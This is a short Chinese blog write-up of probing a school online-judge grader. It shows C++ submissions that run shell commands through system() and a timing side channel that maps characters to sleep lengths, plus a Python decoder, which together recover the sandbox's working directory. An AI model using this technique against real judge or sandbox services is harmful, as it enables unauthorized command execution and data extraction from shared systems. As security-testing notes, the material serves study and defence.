前言
以前看过一篇Windows上搭OJ被C#打穿的文章,刚好测测学校的OJ。
这里没有过多的研究其余的可能利用点,仅仅是简单记录下过程,一些思路的启发。
测试过程
首先看支持的代码类型:
尝试了Java发现不能import,那Java就没用了。
所幸是Linux上的C++,只要有cstdlib就可以system
如何判断能否执行命令呢?
可以通过时间回显来判断。(后面会有具体代码演示)
尝试发现可以执行一般的Linux命令,尝试ping vps,发现并不出网。
评测机应该是docker不出网环境。
那么命令执行的结果就只能通过时间盲注来判断了。
比如sleep(1)这种。
然后呢,为了更高效的盲注,想了一招:拆分时间gap来区分不同的字符,然后一次性将a~zA~Z0~9/-_
全部判断完。
不然一个字符就得注六十多次。。。
一些测试代码如下:(GPT写的,能跑就行,楽)
#include <iostream>
#include <cstdlib> // For system()
#include <unistd.h> // For sleep()
int main() {
// 执行命令,检查结果并进行睡眠
int result = system("if [ $(pwd | head -c 1) = 'a' ]; then sleep 1; fi");
// 检查命令执行是否成功
if (result == -1) {
std::cerr << "Failed to execute command" << std::endl;
return 1;
}
return 0;
}
那么就可以根据这种时间回显来盲注字符
#include <iostream>
#include <cstdlib> // For system()
#include <fstream> // For std::ifstream
#include <unistd.h> // For usleep()
// 从文件中获取指定位置的字符(从 1 开始)
char getCharacterFromFile(const std::string& filepath) {
std::ifstream file(filepath);
if (!file) {
std::cerr << "Failed to open file" << std::endl;
return '\0';
}
char ch;
file.get(ch); // 读取一个字符
file.close();
return ch;
}
int main() {
size_t position = 1; // 修改这个值以提取不同位置的字符,例如1, 2, 3
// 使用 system 命令提取指定字符到临时文件
std::string command = "pwd | cut -c " + std::to_string(position) + " > /tmp/char_at_position.txt";
int result = system(command.c_str());
if (result != 0) {
std::cerr << "Failed to execute command" << std::endl;
return 1;
}
// 获取文件中的指定字符
char charAtPosition = getCharacterFromFile("/tmp/char_at_position.txt");
// 计算睡眠时间
unsigned int sleepTime = 0;
if (charAtPosition >= 'a' && charAtPosition <= 'z') {
sleepTime = (charAtPosition - 'a' + 1) * 10; // a = 10ms, b = 20ms, ..., z = 260ms
} else if (charAtPosition >= 'A' && charAtPosition <= 'Z') {
sleepTime = (charAtPosition - 'A' + 1 + 26) * 10; // A = 270ms, B = 280ms, ..., Z = 520ms
} else if (charAtPosition >= '0' && charAtPosition <= '9') {
sleepTime = (charAtPosition - '0' + 1 + 52) * 10; // 0 = 530ms, 1 = 540ms, ..., 9 = 620ms
} else if (charAtPosition == '/') {
sleepTime = 630; // 定义字符 '/' 的 sleep 时间
} else if (charAtPosition == '-') {
sleepTime = 640; // 定义字符 '-' 的 sleep 时间
} else if (charAtPosition == '_') {
sleepTime = 650; // 定义字符 '_' 的 sleep 时间
}
// 执行睡眠操作
if (sleepTime > 0) {
std::cout << "Sleeping for " << sleepTime << " milliseconds." << std::endl;
usleep(sleepTime * 1000); // usleep 以微秒为单位
} else {
std::cout << "The character at the specified position is not in the range a-z, A-Z, 0-9, /, -, or _. No sleep." << std::endl;
}
// 删除临时文件
system("rm /tmp/char_at_position.txt");
return 0;
}
说明第一个是’/’
后面的就可以这么依次注出来了。
这里再测试后面几个字符:
然后python写个转换映射:
# 创建一个空字典用于反向映射
reverse_sleep_times = {}
# 计算小写字母的睡眠时间并填充反向映射
for i in range(ord('a'), ord('z') + 1):
char = chr(i)
sleep_time = (i - ord('a') + 1) * 10
reverse_sleep_times[sleep_time] = char
# 计算大写字母的睡眠时间并填充反向映射
for i in range(ord('A'), ord('Z') + 1):
char = chr(i)
sleep_time = (i - ord('A') + 1 + 26) * 10
reverse_sleep_times[sleep_time] = char
# 计算数字的睡眠时间并填充反向映射
for i in range(ord('0'), ord('9') + 1):
char = chr(i)
sleep_time = (i - ord('0') + 1 + 52) * 10
reverse_sleep_times[sleep_time] = char
# 计算特殊字符的睡眠时间并填充反向映射
special_chars = {'/': 630, '-': 640, '_': 650}
for char, time in special_chars.items():
reverse_sleep_times[time] = char
table = reverse_sleep_times
while True:
num = input("> ").strip()
num = int(num)
print(table[num])
大概能判断出是 /test
为了更清晰的辨认当然可以使时间gap更大,这里就不再演示了。